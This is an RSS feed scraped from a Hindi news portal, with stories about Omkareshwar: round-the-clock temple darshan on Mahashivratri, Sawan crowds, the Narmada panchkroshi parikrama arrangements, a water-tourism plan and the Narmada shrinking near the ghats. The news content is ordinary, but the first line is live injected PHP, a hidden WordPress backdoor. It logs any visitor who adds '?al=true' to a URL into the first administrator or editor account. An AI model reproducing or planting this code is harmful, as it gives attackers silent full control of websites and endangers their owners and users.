// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Omkareshwar – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 06 Feb 2026 07:16:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ओंकारेश्वर में महाशिवरात्रि पर 24 घंटे खुले रहेंगे मंदिर के पट, विशेष फूलों से होगा शृंगार https://pratyushaashakinayikiran.com/?p=195852 Fri, 06 Feb 2026 07:16:00 +0000 https://pratyushaashakinayikiran.com/?p=195852 खंडवा
 महाशिवरात्रि पर 15 फरवरी को ओंकारेश्वर ज्योतिर्लिंग मंदिर 24 घंटे दर्शनार्थियों के लिए खुला रहेगा। इस वजह से प्रतिदिन रात साढ़े आठ बजे होने वाली शयन आरती नहीं होगी। महापर्व पर भगवान शिव भी रतजगा करेंगे। ज्योतिर्लिंग मंदिर की फूलों से सजावट की जाएगी।

श्रीजी मंदिर ओंकारेश्वर ट्रस्ट द्वारा तड़के तीन बजे से मंदिर के पट दर्शनार्थियों के लिए खोल दिए जाएंगे, जो अगले दिन रात तीन बजे कुछ समय बंद रहने के बाद फिर खुल जाएंगे।

शास्त्रों के अनुसार ओंकारेश्वर ज्योतिर्लिंग मंदिर में भगवान भोलेनाथ और माता पार्वती रात्रि विश्राम करते हैं। इसके चलते रात्रि में यहां भगवान के लिए सेज, झूला और चौंसर भी बिछती है। रात्रि 8:30 बजे के बाद मंदिर के पट बंद कर शयन आरती की जाती है। इसके बाद भगवान विश्राम करते हैं।

महाशिवरात्रि पर शयन आरती और भगवान के लिए सेज और झूला नहीं सजेगा। मंदिर ट्रस्ट के पंडित आशीष दीक्षित और पं. डंकेश्वर दीक्षित ने बताया कि उज्जैन स्थित महाकालेश्वर मंदिर में भस्म आरती के समान ओंकारेश्वर में भगवान की शयन आरती का महत्व है।

पट खुलने पर पहले साधु-संत करेंगे दर्शन

महाशिवरात्रि पर तड़के तीन बजे पट खुलने के बाद साधु-संत और संन्यासी शोभायात्रा के साथ मंदिर पहुंचकर पूजन-दर्शन करेंगे। इसके बाद आम श्रद्धालुओं के दर्शन का सिलसिला शुरू हो जाएगा। दोपहर 12:20 बजे भगवान को भोग के लिए कुछ समय के लिए पट बंद होंगे। फिर तड़के तीन बजे तक सतत दर्शनार्थ पट खुले रहेंगे। शिवरात्रि पर मंदिर में फूलों से सजावट और तीर्थनगरी तथा घाटों पर रोशनी की जाएगी।

 

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बोल बम की गूंज से शिवमय हुआ ओंकारेश्वर, श्रद्धालुओं का उमड़ा जनसैलाब https://pratyushaashakinayikiran.com/?p=173842 Mon, 28 Jul 2025 08:16:00 +0000 https://pratyushaashakinayikiran.com/?p=173842 खंडवा

सावन माह के तीसरे सोमवार को पवित्र तीर्थनगरी ओंकारेश्वर में हजारों शिवभक्तों का जनसैलाब उमड़ पड़ा। श्रद्धालु दो से तीन किलोमीटर लंबी पैदल दूरी तय कर बैरिकेडिंग मार्ग से होते हुए भगवान ओंकारेश्वर ज्योतिर्लिंग के दर्शन कर रहे हैं। भोर से ही मंदिर परिसर में घंटियों की मधुर गूंज और "हर-हर महादेव" के जयकारों से वातावरण भक्तिमय हो गया। भक्तों की भारी भीड़ को देखते हुए प्रशासन ने सुरक्षा एवं व्यवस्था के लिए अतिरिक्त पुलिस बल तैनात किया है। मंदिर परिसर और गर्भगृह को विशेष रूप से फूलों से सजाया गया है।

सावन के तीसरे सोमवार पर नजारा ऐसा है कि ओंकारेश्वर में मौजूद हर शिवभक्त के मन और जुबान पर "ॐ नमः शिवाय" और "बोल बम" के उद्घोष गूंज रहे हैं। भक्त बाबा की एक झलक पाने के लिए लाइन में लगे हैं, कोई बेलपत्र और फूल चढ़ाकर, तो कोई चंदन-पंचामृत से अभिषेक कर भगवान से अपनी मनोकामनाएं पूरी होने की मन्नत मांग रहा है। बच्चों से लेकर महिलाएं और बुजुर्ग तक, हर वर्ग का भक्त बाबा को मनाने के लिए ओंकारेश्वर पहुंचा है।

बता दें कि धार्मिक नगरी ओंकारेश्वर में सुबह 5 बजे होने वाली आरती के समय से ही श्रद्धालुओं की कतारें लग गई थीं। हाजारों लोग दर्शन के लिए अपने बारी का इंतजार कर रहे थे। ओंकारेश्वर में एक ओर स्वयंभू ओंकारेश्वर ज्योतिर्लिंग है तो दूसरी ओर भगवान ममलेश्वर ज्योतिर्लिंग है। दोनों ही दिव्य स्थानों पर भक्त दर्शन कर रहे हैं।

मंदिर के पुजारियों के अनुसार, आज तीसरे सोमवार को सुबह 5 बजे आरती के साथ सामान्य दर्शन की शुरुआत हुई है, जो देर रात 10 बजे शयन आरती तक जारी रहेगी। दोपहर 3 बजे बाबा महाकाल की सवारी नगर भ्रमण और नौका विहार के लिए निकलेगी। हालांकि, इस दौरान गुलाल महोत्सव पर जिला प्रशासन ने एक दिन पहले ही रोक लगा दी है। लेकिन, संतों का कहना है कि गुलाल उड़ाने की परंपरा जारी रहेगी।

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ओंकारेश्वर से 11 नवंबर को शुरू होगी 50 किमी की नर्मदा परिक्रमा… जानिए कब क्या होगा https://pratyushaashakinayikiran.com/?p=94094 Tue, 05 Nov 2024 16:55:00 +0000 https://pratyushaashakinayikiran.com/?p=94094 बड़वाह
निमाड़ एवं मालवा के ग्रामीणों की आस्था और विश्वास से जुडी मां नर्मदा की पांच दिवसीय 49वीं धार्मिक ओंकारेश्वर नर्मदा लघु परिक्रमा पंचक्रोशी यात्रा 11 नवंबर से शुरू होगी। करीब 50 किमी की दुर्गम यात्रा में हजारों श्रद्धालु ओंकारेश्वर से अंजरुद, सनावद, टोकसर, सेमरला, बड़वाह, सिद्धवरकूट होते हुए वापस 15 नवंबर को ओंकारेश्वर पहुंचकर नर्मदा परिक्रमा पूर्ण करेंगे।

इस संबंध में एसडीएम प्रताप सिंह अगास्या एवं एसडीओपी अर्चना रावत ने जनपद पंचायत सभा ग्रह में ब्लाक स्तरीय अधिकारियों और सरपंचों की बैठक ली। एसडीएम ने कहा कि पंचकोशी यात्रा हमारे क्षेत्र की सबसे बड़ी धार्मिक यात्रा है। यात्रा प्रारंभ होने के पहले व्यवस्थाएं पुख्ता करें।

पंचकोसी नर्मदा यात्रा में ऐसी होंगी व्यवस्थाएं

एसडीओपी अर्चना रावत ने कहा कि संबंधित विभाग को नाव की सूची जल्द उपलब्ध कराएं, नावों की जांच करके उन्हें अनुमति पत्र दिए जाएंगे। यात्रा मार्ग के समस्त ग्राम पंचायतों के सरपंच/सचिव तथा विभागीय अधिकारियों को भी निर्देशित किया कि ग्राम पंचायत क्षेत्रान्तर्गत यात्रा मार्ग पर मुरम, कंटीली झाड़िया हटाना, साफ-सफाई कराई जाए।

    लाइट की व्यवस्था के लिए निर्देश दिए हैं। टैंकर, टेंट, प्रकाश तथा अस्थाई शौचालय की व्यवस्था भी करके रखें। यात्रा गुजरने के पश्चात आवश्यक साफ-सफाई की जाए। स्वास्थ्य विभाग को जगह-जगह स्वास्थ्य परीक्षण कैंप लगाने को कहा गया है। – अर्चना रावत, एसडीओपी

लोहे से बनी नावों पर प्रतिबंध, क्षमता से ज्याता सवारी न बैठाए नाविक

बाबूलाल केवट ने कहा- टोकसर से 25 नाव श्रद्धालुओं को पार कराते हैं। एसडीएम ने कहा, सभी का एस्टीमेट बनाकर दे। नाव में क्षमता से ज्यादा सवारी को न बैठाई जाए। अच्छी नाव केवल चलना चाहिए, जो टूटी हो वह नहीं चलेगी।

उन्होंने कहा, लोहे की नाव से श्रद्धालुओं को पार नहीं कराने दिया जाएगा और नावों में चालक के साथ यात्रियों को लाइफ जैकेट पहनना अनिवार्य रहेगा।

किस दिन कहां पर क्या व्यवस्था

    पहला दिन 11 नवंबर: श्रद्धालु ओंकारेश्वर से शुरू होगी। ग्राम अंजरुद में बाघेश्वरी माता के दर्शन करेंगे। मंदिर के आसपास गंदगी दूर करने एवं लाइट व्यवस्था के लिए सचिव को कहा। रात्रि विश्राम सनावद में होगा। धर्मशाला, मंडी परिसर, शासकीय भवनों आदि में यात्रियों के लिए पेयजल, रौशनी, शौचालय की व्यवस्थाओं के लिए कहा।

    दूसरा दिन 12 नवंबर: यात्री बडूद से टोकसर गोमुख घाट पहुचेंगे। कई यात्रियों को नर्मदा पार कर सेमरला भेजा जाएगा। दोनी घाटों पर बेरिकेड्स के लिए पीडब्ल्यूडी को जिम्मेदारी,नाव में सुरक्षा उपकरण,स्वास्थ्य विभाग कैंप लगाएगी। पुलिस सहायता केंद्र रहेंगे। गोताखोरों की तैनाती रहेगी।
   
    तीसरा दिन 13 नवंबर: यात्रा बड़वाह पहुंचेगी। टोकसर एवं सेमरला में रुके यात्री बड़वाह पहुंचेंगे। मंडी, नागेश्वर सहित अन्य स्थानों पर नगर पालिका, लाइट, पानी, शौचालय एवं साफ-सफाई की व्यवस्था करेगी। नपा दिन में दो बार सफाई करवाएगी। मेडिकल कैंप लगाएंगे।

    चौथा दिन 14 नवंबर: सुबह बड़वाह से प्रस्थान होगा। कोठावां, मोदरी में रात्रि विश्राम। चिकित्सक कैंप लगाकर स्वास्थ्य संबंधी दवाइयां रखेंगे। पानी के टैकर रखे जाएंगे। वन विभाग के कर्मचारी यात्रा संबन्धित व्यवस्थाए लगाने में सहयोग देंगे। महोदरी,कड़ियांकुंड, सिद्ध्वरकूट में रात्रि विश्राम।

    पांचवां दिन 15 नवंबर : बांध द्वारा सिद्धवरकूट से ओंकारेश्वर पहुंचेंगे। ओंकारेश्वर दर्शन कर यात्रा समाप्त होगी। एनएसडीसी को पत्र लिखकर बांध से निकलने की अनुमति मांगी जाएगी।

यात्रा की तैयारियों पर चर्चा

एसडीएम प्रताप सिंह अगास्या और एसडीओपी अर्चना रावत ने यात्रा की तैयारियों के लिए ब्लॉक स्तर पर अधिकारियों और ग्राम पंचायतों के सरपंचों के साथ बैठक की। एसडीएम ने कहा कि यह क्षेत्र की सबसे बड़ी धार्मिक यात्रा है, इसलिए सभी व्यवस्थाएं समय पर पूरी होनी चाहिए। एसडीओपी अर्चना रावत ने नावों की सुरक्षा और उनकी स्थिति जांचने के निर्देश दिए, ताकि श्रद्धालुओं की सुरक्षा सुनिश्चित हो सके।

यात्रा व्यवस्थाएं

नावों की सुरक्षा: सभी नाविकों को लाइफ जैकेट पहनने और क्षमता से अधिक सवारी न बैठाने के निर्देश दिए गए हैं। लोहे की नावों के इस्तेमाल पर प्रतिबंध रहेगा।

सफाई और स्वास्थ्य: यात्रा मार्ग पर साफ-सफाई, स्वास्थ्य शिविर और पानी की उचित व्यवस्था सुनिश्चित की जाएगी। पुलिस सहायता केंद्र और गोताखोरों की तैनाती भी की जाएगी।

 

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ओंकारेश्वर में वॉटर टूरिज्म बढ़ाने का प्रस्ताव तैयार, बोट क्लबों सहित टूरिज्म की सभी जगहों विकसित ! https://pratyushaashakinayikiran.com/?p=84680 Tue, 15 Oct 2024 09:09:00 +0000 https://pratyushaashakinayikiran.com/?p=84680 खंडवा
टूरिज्म के लिहाज से बड़ी खबर है. मध्य प्रदेश टूरिज्म डेवलेपमेंट कॉर्पोरेशन (MPTDC) बोट क्लबों सहित वॉटर टूरिज्म की उन सभी जगहों को विकसित कर रहा है, जहां टूरिस्ट को आकर्षित किया जा सकता है. इसी सिलसिले में कॉर्पोरेशन ने ओंकारेश्वर में वॉटर टूरिज्म बढ़ाने का प्रस्ताव तैयार किया है. इसमें मिनी क्रूज, पैरासिलिंग और मैकेनिकल बोट चलाने की योजना बनाई जा रही है. इस पूरे प्रोजेक्ट की लागत 16 करोड़ रुपये है. अधिकारी बताते हैं कि सरकार को वित्तीय वर्ष 2023-24 में बोट क्लब से 6 करोड़ रुपये का राजस्व मिला है. इनके दोबारा बनने से राजस्व में वृद्धि हो सकती है.

मध्य प्रदेश टूरिज्म डेवलेपमेंट कॉर्पोरेशन (MPTDC) के अधिकारियों ने बताया कि हमने प्रदेश की कई जगहों पर नए बोट क्लबों की स्थापना के साथ-साथ पहले से स्थापित जगहों को और खूबसूरत बनाने का प्रस्ताव तैयार किया है. ताकि, टूरिस्ट को प्रदेश के टूरिज्म स्पॉट पर और ज्यादा सुविधाएं मिल सकें. हमने नए वॉटर टूरिज्म के नए केंद्रों को स्थापित करने का भी प्रस्ताव दिया है. गौरतलब है कि, ओंकारेश्वर में पहले से ही छोटा सा बोट क्लब है. इसमें चार स्पीड बोट चलाई जाती हैं. इन्हें एक साल पहले यहां लाया गया था. अब इसे और विकसित करने का प्रस्ताव दिया गया है.

यह है पूरा प्रस्ताव
अधिकारी बताते हैं कि ओंकारेश्वर में हमने पैरासेलिंग बोट चलाने का प्रस्ताव दिया है. इससे एडवेंचर पसंद करने वालों के लिए नया केंद्र होगा. भोपाल से प्रकाशित अंग्रेजी अखबार टाइम्स ऑफ इंडिया के मुताबिक, अधिकारियों का कहना है कि टूरिस्ट को यहां तक लाने के लिए कई सुविधाओं और गतिविधियों की योजना बनाई जा रही है. हम यह भी कोशिश कर रहे हैं कि डीजल की जगह इलेक्ट्रिकल-सोलर ऊर्जा की इस्तेमाल किया जाए.

दूसरे डैम भी होंगे विकसित
इसके अलावा कॉर्पोरेशन गंभीर डैम और सरसी बोट को भी विकसित किया जाएगा. उज्जैन के गंभीर डैम में भी मिनी क्रूज, इलैक्ट्रिक बोट और शिकारा चलाया जाएगा. इंदौर क्षेत्र में ओंकारेश्वर, सैलानी, गांधी सागर और चोरल में टूरिज्म एक्टिविटी होती हैं. प्रदेश में फिलहाल 15 बोट क्लब संचालित हैं.

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ओंकारेश्वर में सिमटी नर्मदा, श्रद्धालुओं को स्नान में हुई परेशानी https://pratyushaashakinayikiran.com/?p=39486 Sun, 09 Jun 2024 15:36:00 +0000 https://pratyushaashakinayikiran.com/?p=39486  खंडवा
 तीर्थ नगरी ओंकारेश्वर में नर्मदा नदी घाटों से दूर चली जाने से श्रद्धालुओं को स्नान में परेशानियों का सामना करना पड़ रहा है। यह स्थिति ओंकारेश्वर पावर हाउस से बिजली उत्पादन आगामी 40 घंटे के लिए बंद करने से बनी है। नर्मदा नदी पर बड़वाह के निकट नेशनल हाईवे के निर्माणाधीन ब्रिज के दो पिलर नर्मदा नदी में खड़े करने का कार्य चल रहा है।

ब्रिज के पिलर की कैंपिंग के लिए एनएचएआइ की मांग पर एनएचडीसी द्वारा नर्मदा में पानी का प्रवाह शुक्रवार से 40 घंटे के लिए रोका गया है। इससे तीर्थनगरी सहित बांध के डाउनस्ट्रीम में नर्मदा सिमट गई है। ओंकारेश्वर में श्रद्धालु जगह-जगह रुके हुए पानी में स्नान करने को विवश हुए।

रविवार से ओंकारेश्वर की निकट ग्राम स्थापना में पंडित प्रदीप मिश्रा की शिव पुराण कथा की शुरुआत हो रही है इसमें बड़ी संख्या में श्रद्धालु शनिवार से ही ओंकारेश्वर पहुंच रहे हैं। श्रद्धालु नर्मदा स्नान के साथ ज्योतिर्लिंग के दर्शन करने ओंकारेश्वर पहुंच रहे हैं, लेकिन नर्मदा में पानी कम होने से उन्हें स्नान के लिए परेशान होना पड़ रहा है।

वैसे नर्मदा का जलस्तर कम होने और सिमटने की समस्या से आए दिन श्रद्धालुओं को दिक्कतों का सामना करना पड़ता है ओंकारेश्वर बांध के निर्माण के बाद से बारिश के मौसम को छोड़ बांध के गेट हमेशा बंद रहने से नर्मदा की धारा बांध से बनने वाली बिजली की टरबाइन से छोड़े जाने वाले पानी निर्भर रहती है।

मांग के अनुसार बिजली का निर्माण किया जाता है। ऐसे में नर्मदा में जलस्तर घटता- बढ़ता रहता है।लंबे समय से स्थानीय लोगों और श्रद्धालुओं द्वारा नर्मदा की अविरल जलधारा और जलस्तर ओंकारेश्वर में एक समान रखने की मांग हो रही है।

इस और शासन- प्रशासन और एनएचडीसी प्रबंधन द्वारा कोई प्रभावी पहल नहीं होने से कई बार आंदोलन और प्रदर्शन भी हो चुके हैं। ओंकारेश्वर के समाजसेवियों का कहना है कि पंडित मिश्रा की कथा में एक ओर जहां लाखों की भीड़ आ रही है वहीं बांध से पानी रोकना सही नहीं है ऐसे में श्रद्धालु स्नान के लिए नर्मदा के बीच पहुंचने पर हादसों का शिकार हो सकते हैं।

इधर अधिकारियों का कहना है कि 40 घंटे के लिए पानी रोकने का निर्णय उच्च स्तर पर हुआ है। स्थानीय स्तर पर इस संबंध में पूर्व में कोई सूचना नहीं दी गई है।

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